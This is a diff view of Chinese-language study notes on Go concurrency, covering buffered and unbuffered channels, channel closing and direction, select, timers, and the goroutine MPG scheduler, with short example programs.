```go
|
||||
ch := make(chan int)
|
||||
ch <- 10 // 写入数据10
|
||||
num := <- ch // 读取数据
|
||||
```
|
||||
|
||||
### 2.1 无缓冲channel
|
||||
|
||||
无缓冲的channel是阻塞读写的,必须写端与读端同时存在,写入一个数据,则能读出一个数据:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 写端
|
||||
func write(ch chan int) {
|
||||
ch <- 100
|
||||
fmt.Printf("ch addr:%v\n", ch) // 输出内存地址
|
||||
ch <- 200
|
||||
fmt.Printf("ch addr:%v\n", ch) // 输出内存地址
|
||||
ch <- 300 // 该处数据未读取,后续操作直接阻塞
|
||||
fmt.Printf("ch addr:%v\n", ch) // 没有输出
|
||||
}
|
||||
|
||||
// 读端
|
||||
func read(ch chan int) {
|
||||
// 只读取两个数据
|
||||
fmt.Printf("取出的数据data1:%v\n", <-ch) // 100
|
||||
fmt.Printf("取出的数据data2:%v\n", <-ch) // 200
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var ch chan int // 声明一个无缓冲的channel
|
||||
ch = make(chan int) // 初始化
|
||||
|
||||
// 向协程中写入数据
|
||||
go write(ch)
|
||||
|
||||
// 向协程中读取数据
|
||||
go read(ch)
|
||||
|
||||
// 防止主go程提前退出,导致其他协程未完成任务
|
||||
time.Sleep(time.Second * 3)
|
||||
}
|
||||
```
|
||||
|
||||
注意:无缓冲通道的收发操作必须在不同的两个`goroutine`间进行,因为通道的数据在没有接收方处理时,数据发送方会持续阻塞,所以通道的接收必定在另外一个 goroutine 中进行。
|
||||
|
||||
如果不按照该规则使用,则会引起经典的Golang错误`fatal error: all goroutines are asleep - deadlock!`:
|
||||
```go
|
||||
func main() {
|
||||
ch := make(chan int)
|
||||
ch <- 10
|
||||
<-ch
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 有缓存channel
|
||||
|
||||
有缓存的channel是非阻塞的,但是写满缓冲长度后,也会阻塞写入。
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 写端
|
||||
func write(ch chan int) {
|
||||
ch <- 100
|
||||
fmt.Printf("ch addr:%v\n", ch) // 输出内存地址
|
||||
ch <- 200
|
||||
fmt.Printf("ch addr:%v\n", ch) // 输出内存地址
|
||||
ch <- 300 // 写入第三个,造成阻塞
|
||||
fmt.Printf("ch addr:%v\n", ch) // 没有输出
|
||||
}
|
||||
func main() {
|
||||
|
||||
var ch chan int // 声明一个有缓冲的channel
|
||||
ch = make(chan int, 2) // 可以写入2个数据
|
||||
|
||||
// 向协程中写入数据
|
||||
go write(ch)
|
||||
|
||||
// 防止主go程提前退出,导致其他协程未完成任务
|
||||
time.Sleep(time.Second * 3)
|
||||
}
|
||||
```
|
||||
|
||||
同样的,当数据全部读取完毕后,再次读取也会造成阻塞,如下所示:
|
||||
```go
|
||||
func main() {
|
||||
ch := make(chan int, 1)
|
||||
ch <- 10
|
||||
<-ch
|
||||
// <-ch
|
||||
}
|
||||
```
|
||||
此时程序可以顺序运行,不会报错,这是与无缓冲通道的区别,但是当继续打开 注释 部分代码时,通道阻塞,所有协程挂起,此时也会产生错误:`fatal error: all goroutines are asleep - deadlock!`。
|
||||
|
||||
### 2.3 总结 无缓冲通道与有缓冲通道
|
||||
|
||||
无缓冲channel:
|
||||
- 通道的容量为0,即 `cap(ch) = 0`
|
||||
- 通道的个数为0,即 `len(ch) = 0`
|
||||
- 可以让读、写两端具备并发同步的能力
|
||||
|
||||
有缓冲channel:
|
||||
- 在make创建的时候设置非0的容量值
|
||||
- 通道的个数为当前实际存储的数据个数
|
||||
- 缓冲区具备数据存储的能力,到达存储上限后才会阻塞,相当于具备了异步的能力
|
||||
- 有缓冲channel的阻塞产生条件:
|
||||
- 当缓冲通道被填满时,尝试再次发送数据会发生阻塞
|
||||
- 当缓冲通道为空时,尝试接收数据会发生阻塞
|
||||
|
||||
问题:为什么 Go语言对通道要限制长度而不提供无限长度的通道?
|
||||
> channel是在两个 goroutine 间通信的桥梁。使用 goroutine 的代码必然有一方提供数据,一方消费数据 。通道如果不限制长度,在生产速度大于消费速度时,内存将不断膨胀直到应用崩溃。
|
108
02-并发编程/03-channel的操作.md
Normal file
108
02-并发编程/03-channel的操作.md
Normal file
@ -0,0 +1,108 @@
|
||||
## 三 channel的相关操作
|
||||
|
||||
### 3.1 通道数据的遍历
|
||||
|
||||
channel只支持 for--range 的方式进行遍历:
|
||||
```go
|
||||
ch := make(chan int)
|
||||
|
||||
go func() {
|
||||
for i := 0; i <=3; i++ {
|
||||
ch <- i
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
}()
|
||||
|
||||
for data := range ch {
|
||||
fmt.Println("data==", data)
|
||||
if data == 3 {
|
||||
break
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 通道关闭
|
||||
|
||||
通道是一个引用对象,支持GC回收,但是通道也可以主动被关闭:
|
||||
```go
|
||||
ch := make(chan int)
|
||||
close(ch) // 关闭通道
|
||||
ch <- 1 // 报错:send on closed channel
|
||||
```
|
||||
|
||||
从通道中接收数据时,可以利用多返回值判断通道是否已经关闭:
|
||||
```go
|
||||
func main() {
|
||||
|
||||
ch := make(chan int, 10)
|
||||
|
||||
go func(ch chan int) {
|
||||
for i := 0; i < 10; i++ {
|
||||
ch <- i
|
||||
}
|
||||
close(ch)
|
||||
}(ch)
|
||||
|
||||
for {
|
||||
if num, ok := <-ch; ok == true {
|
||||
fmt.Println("读到数据:", num)
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
如果channel已经关闭,此时需要注意:
|
||||
- 不能再向其写入数据,否则会引起错误:`panic:send on closed channel`
|
||||
- 可以从已经关闭的channel读取数据,如果通道中没有数据,会读取通道存储的默认值
|
||||
|
||||
### 3.3 通道读写
|
||||
|
||||
默认情况下,管道的读写是双向的,但是为了对 channel 进行使用的限制,可以将 channel 声明为只读或只写。
|
||||
```go
|
||||
var chan1 chan<- int // 声明 只写channel
|
||||
var chan2 <-chan int // 声明 只读channel
|
||||
```
|
||||
|
||||
单向chanel不能转换为双向channel,但是双向channel可以隐式转换为任意类型的单向channel:
|
||||
```go
|
||||
// 只写端
|
||||
func write(ch chan<- int) {
|
||||
ch <- 100
|
||||
fmt.Printf("ch addr:%v\n", ch) // 输出内存地址
|
||||
ch <- 200
|
||||
fmt.Printf("ch addr:%v\n", ch) // 输出内存地址
|
||||
ch <- 300 // 该处数据未读取,后续操作直接阻塞
|
||||
fmt.Printf("ch addr:%v\n", ch) // 没有输出
|
||||
}
|
||||
|
||||
// 只读端
|
||||
func read(ch <-chan int) {
|
||||
// 只读取两个数据
|
||||
fmt.Printf("取出的数据data1:%v\n", <-ch) // 100
|
||||
fmt.Printf("取出的数据data2:%v\n", <-ch) // 200
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
var ch chan int // 声明一个双向
|
||||
ch = make(chan int, 10) // 初始化
|
||||
|
||||
// 向协程中写入数据
|
||||
go write(ch)
|
||||
|
||||
// 向协程中读取数据
|
||||
go read(ch)
|
||||
|
||||
// 防止主go程提前退出,导致其他协程未完成任务
|
||||
time.Sleep(time.Second * 3)
|
||||
}
|
||||
```
|
||||
|
||||
双向channel进行显式转换:
|
||||
```Go
|
||||
ch := make(chan int) // 声明普通channel
|
||||
ch1 := <-chan int(ch) // 转换为 只读channel
|
||||
ch2 := chan<- int(ch) // 转换为 只写channel
|
||||
```
|
109
02-并发编程/04-channel的应用.md
Normal file
109
02-并发编程/04-channel的应用.md
Normal file
@ -0,0 +1,109 @@
|
||||
## 四 channel的一些示例
|
||||
|
||||
### 4.1 示例一 限制并发
|
||||
|
||||
耗时操作为timeMore,现在有100个并发,限制为5个:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"time"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func timeMore(ch chan string) {
|
||||
|
||||
// 执行前先注册,写不进去就会阻塞
|
||||
ch <- "任务"
|
||||
|
||||
fmt.Println("模拟耗时操作")
|
||||
time.Sleep(time.Second) // 模拟耗时操作
|
||||
|
||||
// 任务执行完毕,则管道中销毁一个任务
|
||||
<-ch
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
ch := make(chan string, 5)
|
||||
|
||||
// 开启100个协程
|
||||
for i := 0; i < 100; i++ {
|
||||
go timeMore(ch)
|
||||
}
|
||||
|
||||
for {
|
||||
time.Sleep(time.Second * 5)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 生产者消费者模型
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 生产者
|
||||
func producer(ch chan<- int) {
|
||||
i := 1
|
||||
for {
|
||||
ch <- i
|
||||
fmt.Println("Send:", i)
|
||||
i++
|
||||
time.Sleep(time.Second * 1) // 避免数据流动过快
|
||||
}
|
||||
}
|
||||
|
||||
// 消费者
|
||||
func consumer(ch <-chan int) {
|
||||
for {
|
||||
v := <-ch
|
||||
fmt.Println("Receive:", v)
|
||||
time.Sleep(time.Second * 2) // 避免数据流动过快
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 生产消费模型中的缓冲区
|
||||
ch := make(chan int, 5)
|
||||
// 启动生产者
|
||||
go producer(ch)
|
||||
// 启动消费者
|
||||
go consumer(ch)
|
||||
// 阻塞主程序退出
|
||||
for {
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
当然,该模型也可以使用无缓冲模型,区别如下:
|
||||
- 无缓冲生产消费模型:同步通信
|
||||
- 有缓冲生产消费模型:异步通信
|
||||
|
||||
### 4.3 定时器
|
||||
|
||||
定时器`time.Timer`的底层其实也是一个管道。
|
||||
```go
|
||||
type Timer struct {
|
||||
C <-chan Time
|
||||
r runtimeTimer
|
||||
}
|
||||
```
|
||||
在时间到达之前,没有数据写入,则timer.C会一直阻塞,直到时间到达,系统会自动向timer.C中写入当前时间,阻塞就会被解除:
|
||||
```go
|
||||
// 创建定时器 定义延迟时间为2秒
|
||||
layTimer := time.NewTimer(time.Second * 2)
|
||||
// 从管道取数据,但是一直都是空的,阻塞中,直到2庙后有数据才能取出
|
||||
fmt.Println(<-layTimer.C)
|
||||
```
|
||||
|
||||
定时器的其他操作:
|
||||
- Stop():停止定时器,此时如果从管道中取数据,则会阻塞
|
||||
- Reset():重置定时器,此时需要传入一个新的定时时间间隔
|
||||
- timer.Tiker:可以创建一个周期定时器
|
189
02-并发编程/05-select.md
Normal file
189
02-并发编程/05-select.md
Normal file
@ -0,0 +1,189 @@
|
||||
## 一 select的概念
|
||||
|
||||
Go语言中的 select 关键字,可以同时响应多个通道的操作,在多个管道中随机选择一个能走通的路!
|
||||
|
||||
```go
|
||||
select {
|
||||
case 操作1:
|
||||
响应操作1
|
||||
case 操作2:
|
||||
响应操作2
|
||||
...
|
||||
default:
|
||||
没有操作的情况
|
||||
}
|
||||
```
|
||||
|
||||
如果有这样的需求,两个管道中只要有一个管道能够取出数据,那么就使用该数据:
|
||||
```go
|
||||
func fn1(ch chan string) {
|
||||
time.Sleep(time.Second * 3)
|
||||
ch <- "fn1111"
|
||||
}
|
||||
|
||||
func fn2(ch chan string) {
|
||||
time.Sleep(time.Second * 6)
|
||||
ch <- "fn2222"
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
ch1 := make(chan string)
|
||||
go fn1(ch1)
|
||||
|
||||
ch2 := make(chan string)
|
||||
go fn2(ch2)
|
||||
|
||||
select {
|
||||
case r1 := <-ch1:
|
||||
fmt.Println("r1=", r1)
|
||||
case r2 := <-ch2:
|
||||
fmt.Println("r2=", r2)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
由于fn1延迟较低,则就会一直得到fn1的数据。
|
||||
|
||||
## 二 select的一些注意事项
|
||||
|
||||
### 2.1 default
|
||||
|
||||
select支持default,如果select没有一条语句可以执行,即所有的通道都被阻塞,那么有两种可能的情况:
|
||||
- 如果给出了default语句,执行default语句,同时程序性的执行会从select语句后的语句中恢复
|
||||
- 如果没有default语句,那么select语句将被阻塞,直到至少有一个通信可以进行下去
|
||||
- 所以一般不写default语句
|
||||
|
||||
当然,在一些场景中(for循环使用select获取channel数据),如果channel被写满,也可能会执行default。
|
||||
|
||||
注意:select中的case必须是I/O操作。
|
||||
|
||||
#### 2.3 channel超时解决
|
||||
|
||||
在并发编程的通信过程中,最需要处理的是超时问题,即向channel写数据时发现channel已满,或者取数据时发现channel为空,如果不正确处理这些情况,会导致goroutine锁死,例如:
|
||||
```go
|
||||
// 如果永远没有人写入ch数据,那么上述代码一直无法获得数据,导致goroutine一直阻塞
|
||||
i := <-ch
|
||||
```
|
||||
|
||||
利用select()可以实现超时处理:
|
||||
```go
|
||||
timeout := make(chan bool, 1)
|
||||
|
||||
go func() {
|
||||
time.Sleep(1e9) // 等待1秒钟
|
||||
timeout <- true
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-ch: // 能取到数据
|
||||
case <-timeout: // 没有从-cha中取到数据,此时能从timeout中取得数据
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.4 空select
|
||||
|
||||
空的select唯一的功能是阻塞代码:
|
||||
```go
|
||||
select {}
|
||||
```
|
||||
|
||||
## 三 select的一些案例
|
||||
|
||||
#### 3.1 案例一 模拟web开发
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
/**
|
||||
模拟远程调用RPC:使用通道代替 Socket 实现 RPC 的过程。
|
||||
客户端与服务器运行在同 一个进程, 服务器和客户端在两个 goroutine 中运行。
|
||||
*/
|
||||
|
||||
// 模拟客户端
|
||||
func RPCClient(ch chan string, req string) (string, error) {
|
||||
ch <- req // 向服务器发送请求模拟:请求数据放入通道
|
||||
select { // 等待服务器返回模拟:使用select
|
||||
case data := <-ch:
|
||||
return data, nil
|
||||
}
|
||||
}
|
||||
|
||||
// 模拟服务端
|
||||
func RPCServer(ch chan string) {
|
||||
// 通过无限循环继续处理下一个客户端请求。
|
||||
for {
|
||||
data := <-ch
|
||||
fmt.Println("server received: ", data)
|
||||
ch <- "roger" // 向客户端反馈
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
// 模拟 启动服务器
|
||||
ch := make(chan string)
|
||||
go RPCServer(ch)
|
||||
|
||||
// 模拟 发送数据
|
||||
receive, err := RPCClient(ch, "hi")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
} else {
|
||||
fmt.Println("client receive: ", receive)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.2 案例二 使用通道晌应计时器的事件
|
||||
|
||||
Go语言中的 time 包提供了计时器的封装。由于 Go 语言中的通道和 goroutine 的设计, 定时任务可以在 goroutine 中以同步方式完成,也可以通过在 goroutine 中异步回调完成。
|
||||
|
||||
实现一段时间之后:
|
||||
```go
|
||||
exitCh := make(chan int)
|
||||
fmt.Println("start")
|
||||
|
||||
time.AfterFunc(time.Second, func() {
|
||||
fmt.Println("1秒后,结束")
|
||||
exitCh <- 0
|
||||
})
|
||||
|
||||
// 阻塞以等待结束
|
||||
<- exitCh
|
||||
```
|
||||
|
||||
计时器与打点器:
|
||||
- 计时器( Timer)与倒计时类似,也是给定多少时间后触发, 创建后会返回 time.Timer 对象
|
||||
- 打点器( Ticker) 表示每到整点就会触发,创建后会返回 time.Ticker 对象
|
||||
|
||||
返回的时间对象内包含成员 C ,其类型是只能接收的时间通道 C<-chanTime ,使用这个通道就可以获得时间触发的通知。
|
||||
|
||||
示例:创建一个打点器, 每500毫秒触发一起:创建一个计时器, 2秒后触发,只触发一次。
|
||||
```go
|
||||
// 创建一个打点器,每500毫秒触发一次
|
||||
ticker := time.NewTicker(time.Millisecond * 500)
|
||||
|
||||
// 创建一个计时器,2秒后触发
|
||||
stopper := time.NewTimer(time.Second * 2)
|
||||
|
||||
// 声明计数变量
|
||||
var i int
|
||||
|
||||
for { // 不断检查通道情况
|
||||
select {
|
||||
case <-stopper.C: // 计时器到了
|
||||
fmt.Println("stop")
|
||||
goto StopHere // 跳出循环
|
||||
case <-ticker.C: // 打点触发了
|
||||
i++ // 记录触发多少次
|
||||
fmt.Println("tick", i)
|
||||
}
|
||||
}
|
||||
|
||||
StopHere:
|
||||
fmt.Println("done")
|
||||
```
|
153
02-并发编程/06-Go协程调度模型-1.md
Normal file
153
02-并发编程/06-Go协程调度模型-1.md
Normal file
@ -0,0 +1,153 @@
|
||||
## 一 go通信主张
|
||||
|
||||
数据放在共享内存中提供给多个线程访问的方式,虽然思想上简单,但却有两个问题:
|
||||
- 使并发访问控制变得复杂
|
||||
- 一些同步方法的使用会让多核CPU的优势难以发挥
|
||||
|
||||
Go的著名主张:
|
||||
> 不要用共享内存的方式来通信,应该以通信作为手段来共享内存
|
||||
|
||||
Go推荐使用通道(channel)的方式解决数据传递问题,在多个goroutine之间,channel复杂传递数据,还能保证整个过程的并发安全性。
|
||||
|
||||
当然Go也依然提供了传统的同步方法,如互斥量,条件变量等。
|
||||
|
||||
## 二 Go线程模型
|
||||
|
||||
#### 2.0 线程模型三元素
|
||||
|
||||
Go的线程实现模型有三个元素,即MPG:
|
||||
- M:machine,一个M代表一个工作线程
|
||||
- P:processor,一个P代表执行一个Go代码段需要的上下文环境
|
||||
- G:goroutine,一个G代表一个Go协程
|
||||
|
||||
每个G的执行需要P和M的支持,M与P关联后才会形成一个有效的G运行环境,即 `工作线程+上下文环境`。
|
||||
|
||||
内核调度实体(KSE)负责调度这些工作线程M,每个实体对应一个M,如图所示:
|
||||
|
||||
![](../images/go/02-05.svg)
|
||||
|
||||
#### 3.1 M
|
||||
|
||||
工作线程M用来关联上下文环境P。
|
||||
|
||||
创建新的工作线程M时机:
|
||||
- 没有足够的工作线程
|
||||
- 一些特殊情况下,如:执行系统监控,执行垃圾回收等
|
||||
|
||||
M常用源码字段如下:
|
||||
```go
|
||||
type m struct {
|
||||
g0 *g // Go运行时启动之初创建,用于执行运行时任务
|
||||
mstartfn func() // M起始函数,即代码中 go 携带的函数
|
||||
curg *g // 存储当前正在运行的代码段G的指针
|
||||
p puintptr // 指针:当前关联的上下文P
|
||||
nextp puintptr // 指针:与当前M有潜在关联的P,调度器将某个P赋给某个M的nextp,则及时预关联
|
||||
spinning bool // 当前M是否正在寻找可运行的G
|
||||
lockedg *g // 与当前M锁定的G
|
||||
}
|
||||
```
|
||||
|
||||
M的生命:
|
||||
- 创建:
|
||||
- M被创建后,就会加入全局M列表(runtime.allm),并设定M的 mstartfn、p (起始函数、上下文环境)
|
||||
- 然后,运行时为M创建一个新工作线程并与之关联
|
||||
- 起始函数只作为系统监控和垃圾回收使用(通过起始函数可以获取M所有信息,也可以防止M被当做垃圾回收掉)。
|
||||
- 停止:
|
||||
- 运行时停止M时,M会被放入空闲M列表(runtime.sched.midle)
|
||||
- 运行时从该列表中回收M
|
||||
|
||||
Go可以手动设定可以使用的M数量:
|
||||
```go
|
||||
runtime/debug.SetMaxThreads
|
||||
```
|
||||
一个Go程序默认最多可使用10000个M,该值越早设定越好。
|
||||
|
||||
#### 3.2 P
|
||||
|
||||
goroutine(即G)如果需要运行,需要获得运行时机。当Go运行时让上下文环境P与工作线程M建立连接后,P中的G就可以运行。
|
||||
|
||||
P的结构包含两个重要成员:
|
||||
- 可运行G队列:要运行的G列表
|
||||
- 自由G列表:已完成运行的G列表,可以提高G的复用率
|
||||
|
||||
贴士:
|
||||
> P的数量即是G的队列数量,其最大值用来限制并发运行G的规模,可以在`runtime.GOMAXPROCS`中设置。
|
||||
|
||||
P的重复利用:
|
||||
- 连接:Go运行时让P与M连接后,P中的G开始运行
|
||||
- 分离:G进入系统调用后,运行时会将M和对应的P分离
|
||||
- 如果P的可运行队列中还有未被运行的G,运行时会找到一个空闲的M或者创建新的M,并与该P关联,以满足剩余的G运行需要,所以一般情况下M的数量都会比P多。
|
||||
- 空闲:P与M分离后,会被放入空闲P列表(runtime.sched.pidle)
|
||||
- 此时会清空P中的可运行G队列,如果运行时需要一个空闲的P与M关联,则从该列表取出一个
|
||||
|
||||
P的生命,如图:
|
||||
|
||||
![](../images/go/02-06.svg)
|
||||
|
||||
贴士:
|
||||
- 非Pdead状态的P都会在运行时要停止调度时被设置为Pgcstop状态,等到要重新调度时,不会被恢复到原有状态,而是统一被转换为Pidle状态,公平接受再次调度。
|
||||
- 自由G列表会随着完成运行的G增多而增大,到一定程度后,运行时会将其中部分G转移到调度器自己的自由G列表中。
|
||||
|
||||
#### 3.3 G
|
||||
|
||||
一个G代表一个Go协程goroutine,即go函数。
|
||||
|
||||
在go函数启动一个G时:
|
||||
- 运行时会先从相应的P的自由G列表获取一个G封装go函数
|
||||
- 如果P的自由G列表为空,则会从调度器本身的自由G列表中转移过来一些G到P的自由G列表中
|
||||
- 如果调度器本身的自由G列表也为空,则新建一个G
|
||||
|
||||
运行时本身持有一个G的全局列表(runtime.allgs),用于存放当前运行时系统中所有G的指针,新建的G会被加入该列表。
|
||||
|
||||
执行步骤:
|
||||
- 初始化:无论是新G还是取出来的G都会被运行时初始化,包括其关联函数、G状态、ID
|
||||
- 将初始化后的G存储到本地P的runnext字段中
|
||||
- 如果runnext字段中已经存在G,则存在的G会被踢到该P可运行G队列的末尾,如果队列已满,则G只能追加到调度器本身的可运行G队列中
|
||||
|
||||
每个G都会由运行时根据需要设置为不同的状态:
|
||||
- Gidle:刚被分配,未初始化
|
||||
- Grunnabel:正在可运行队列中等待运行
|
||||
- Grunning:正在运行
|
||||
- Gsyscall:正在执行某个系统调用
|
||||
- Gwaiting:G被阻塞中
|
||||
- Gdead:G闲置中
|
||||
- Gcopystack:G的栈因为扩展或收缩,正在被移动
|
||||
|
||||
G还有一些组合状态Gscan,组合态代表G的栈正在被GC扫描,如:
|
||||
- Gscanrunnable:G等待运行中,它的栈也被正在扫描(因为垃圾回收)
|
||||
- Gscanrunning:G运行中,它的栈正在被GC扫描
|
||||
|
||||
|
||||
G的状态转换图:
|
||||
![](../images/go/02-07.svg)
|
||||
|
||||
注意:
|
||||
- 进入死亡状态Gdead的G可以重新被初始化
|
||||
- 但是P进入死亡状态Pdead后只能被销毁
|
||||
|
||||
## 四 MPG容器
|
||||
|
||||
MPG常见容器:
|
||||
|
||||
| 名称 | 源码 | 作用域 | 说明 |
|
||||
| ------ | ------ | ------ | ------ |
|
||||
| 全局M列表 | runtime.allm | 运行时 | 存放所有M的单向链表 |
|
||||
| 全局P列表 | runtime.allp | 运行时| 存放所有P的数组 |
|
||||
| 全局G列表 | runtime.allgs | 运行时 | 存放所有G的切片 |
|
||||
| 空闲M列表 | runtime.sched.midle | 调度器 | 存放空闲M的单向链表 |
|
||||
| 空闲P列表 | runtime.sched.pidle | 调度器 | 存放空闲P的单向链表 |
|
||||
| 调度器可运行G队列 | runtime.sched.runqhead runtime.sched.runqtail | 调度器 | 存放可运行的G的队列 |
|
||||
| 调度器自由G列表 | runtime.sched.gfreeStack runtime.sched.gfreeNoStack | 调度器 | 存放自由G的两个单向链表 |
|
||||
| P可运行G队列 | runtime.p.runq | 本地P | 存放当前P中可运行的G的队列 |
|
||||
| P自由G列表 | runtime.p.gfree | 本地P | 存放当前P的自由G的单向链表 |
|
||||
|
||||
贴士:
|
||||
- 任何G都会存在于全局G列表中,其余的4个容器则只会存放在当前作用域内的具有每个状态的G。
|
||||
- 调度器的可运行G列表和P的可运行G列表拥有几乎平等的运行机会:
|
||||
- 刚被初始化的G都会被放入本地P的可运行G队列
|
||||
- 从Gsyscall状态转出的G都会被放入调度器的可运行G队列
|
||||
- Gdead状态的G,会被放入本地P的自由G列表
|
||||
|
||||
两个可运行G队列会互相转移G:
|
||||
- 调用runtime.GOMAXPROCS函数,会导致运行时系统把将死的P的可运行G队列中的G全部转移到调度器的可运行G队列
|
||||
- 如果本地P的可运行G队列已满,则一半的G会被转移到调度器可运行G队列中
|
106
02-并发编程/07-Go协程调度模型-2.md
Normal file
106
02-并发编程/07-Go协程调度模型-2.md
Normal file
@ -0,0 +1,106 @@
|
||||
## 一 调度器的调度
|
||||
|
||||
#### 1.0 调度器概述
|
||||
|
||||
Go线程模型中一部分调度任务由操作系统内核之外的程序承担,即调度器。其调度对象是M、P、G的实例。
|
||||
|
||||
每个M在运行过程中的偶会按需执行一些调度任务。
|
||||
|
||||
MPG模式运行状态:
|
||||
![](../images/go/02-08.svg)
|
||||
|
||||
#### 1.1 一轮调度
|
||||
|
||||
go程序初始化完毕后,调度器会进行一轮调度(位于runtime中的schedule函数),以让main函数中的G有机会开始运行。
|
||||
|
||||
一轮调度查找G流程:
|
||||
- 1 调度器会先查找全局(调度器的)可运行G队列以及本地P的可运行G队列
|
||||
- 2 找不到则进入强力查找模式:从任何可以获得G的地方查找G
|
||||
- 3 还是找不到,则该子流程暂停,直到有可运行的G出现才会继续下去
|
||||
- 4 子流程结束,意味着当前M抢到了一个可运行的G
|
||||
|
||||
调度器找到G后的流程:
|
||||
- 如果调度器在一轮调度之初发现当前M已经与某个G锁定,会立即停止调度并阻塞当前M,如果G到了可运行状态,M会被唤醒并继续运行G。
|
||||
- 如果当前M找到了可运行G,却发现该G与另外的M锁定,它会唤醒绑定的M来运行该G,并重新为当前M寻找可运行G
|
||||
- 如果当前M未与任何G锁定(gcwaiting值不为0),那么停止Go调度器,即STW(Stop the world)并等待运行时串行任务正在执行
|
||||
- 当锁定和运行时串行任务都为假,执行寻找G。
|
||||
|
||||
#### 1.2 强力查找模式
|
||||
|
||||
一轮调度器开启强力找子流程时,会多次尝试从任何可以获得G的地方查找G,使用的函数是`runtime.findrunnabel`,返回一个处于`Grunnable`状态的G。
|
||||
|
||||
阶段一执行步骤如下:
|
||||
|
||||
- 步骤一:获取终结函数的G。对象在未被任何其他对象引用时(不可达)就会被垃圾回收器回收,回收前会调用函数`runtime.SetFinalizer`将该对象与一个中终结函数绑定。所有的终结函数由一个专用的G负责。调度器如果发现该G完成任务,会将其状态设置为Grunnable并放入本地P的可运行G队列。
|
||||
- 步骤二:从本地P的可运行G队列获取一个G
|
||||
- 步骤三:找不到则从调度器的可运行对垒获取G
|
||||
- 步骤四:找不到则从网络I/O轮询器(netpoller)获取G
|
||||
- 步骤五:找不到则从其他P的可运行G队列获取G
|
||||
|
||||
|
||||
如果上述步骤还是无法搜索到可用G,那么搜索进入阶段二:
|
||||
- 步骤一:调度器判断是否处于GC标记节点,如果是,则把本地P持有的GC标记的G状态改为Grunnable并返回结果
|
||||
- 步骤二:再次从调度器可运行G队列获取G,找不到则解除本地P与当前M关联,并把P放入调度器的空闲P列表
|
||||
- 步骤三:遍历全局P列表中的P,检查可运行G队列,如果发现某个P的可运行G队列不为空,则取出一个P,关联到当前M,进入阶段一重新执行
|
||||
- 步骤四:全局P列表也没有可运行G队列,则判断是否正处于GC标记节点,以及相关资源是否可用,如果都是true,调度器会从空闲P列表拿出一个P,如果该P持有一个GC标记专用G,就关联P与M,执行阶段二的步骤一
|
||||
- 步骤五:继续从I/O轮询器获取G
|
||||
|
||||
上述2个阶段都查找不到G,则调度器就会停止当前M。
|
||||
|
||||
#### 1.3 M的启动与停止
|
||||
|
||||
在高并发Go程序中,并发量越大,调度器对MPG的调度就越频繁,相应的M的启动和停止也会被执行的更频繁。
|
||||
|
||||
M启动和停止相关的函数有:
|
||||
- `stopm()`:停止当前M,直到有心的G变得可运行而被唤醒
|
||||
- `gcstopm()`:停止当前M,为串行运行时任务的执行让路,任务结束后被唤醒
|
||||
- `stoplockedm()`:停止与G锁定的M的执行,直到这个G变得可运行而被重新唤醒
|
||||
- `startlockedm(gp *g)`:唤醒与gp锁定的M,并让M执行gp
|
||||
- `startm(_p_ *p, spining bool)`:唤醒或者创建一个M,然后关联_p_并执行
|
||||
|
||||
|
||||
#### 1.4 系统检测任务
|
||||
|
||||
系统检测任务由函数`sysmon`实现,他完成了以下事情:
|
||||
- 在需要时抢夺符合条件的P和G
|
||||
- 在需要时进行强制GC
|
||||
- 在需要时清扫堆
|
||||
- 在需要时打印调度器跟踪信息
|
||||
|
||||
检测任务被包裹在一个循环之中,会被一直执行下去,直到Go程序结束。
|
||||
|
||||
## 二 g0和m0
|
||||
|
||||
M中拥有两个特殊的元素
|
||||
- g0:M初始化时运行时生成的线程,所在的栈称为调度栈/系统栈/调度栈/OS线程栈,用于执行调度、垃圾回收、栈管理
|
||||
- gsignal:处理信号的G,所在的栈称为信号栈
|
||||
- runtime.g0:用于执行引导程序,位于Go程序第一个内核线程中,该内核线程是runtime.m0
|
||||
|
||||
注意:
|
||||
- g0不会被阻塞,也不会包含在任何G队列或者列表中,其栈也不会再垃圾回收期被扫描
|
||||
- runtime.m0和runtime.g0都是静态分配的,无需分配内容
|
||||
- runtime.m0的g0级runtime.g0
|
||||
|
||||
## 三 调度器锁和原子操作
|
||||
|
||||
每个M都有可能执行调度任务,这些任务的执行在时间上可能会重叠,即并发的调度。因此,调度器会在读写一些全局变量以及它的字段时使用调度器锁进行保护。
|
||||
|
||||
Go运行时系统在一些需要保证并发安全的变量存取上使用了原子操作。原子操作比锁操作清凉很多,可以节约大量资源,比如sched.nmspinning,sched.ngsys等变量读写时都会用到原子操作。
|
||||
|
||||
## 四 GC调整
|
||||
|
||||
当前Go的GC基于CMS算法,拥有三种执行模式:
|
||||
- gcBackgroundMode:并发执行垃圾收集(标记)和清扫
|
||||
- gcForceMode:串行执行垃圾收集(执行时停止调度),但是会并发的执行清扫
|
||||
- gcForceBlockMode:串行执行垃圾收集和清扫
|
||||
|
||||
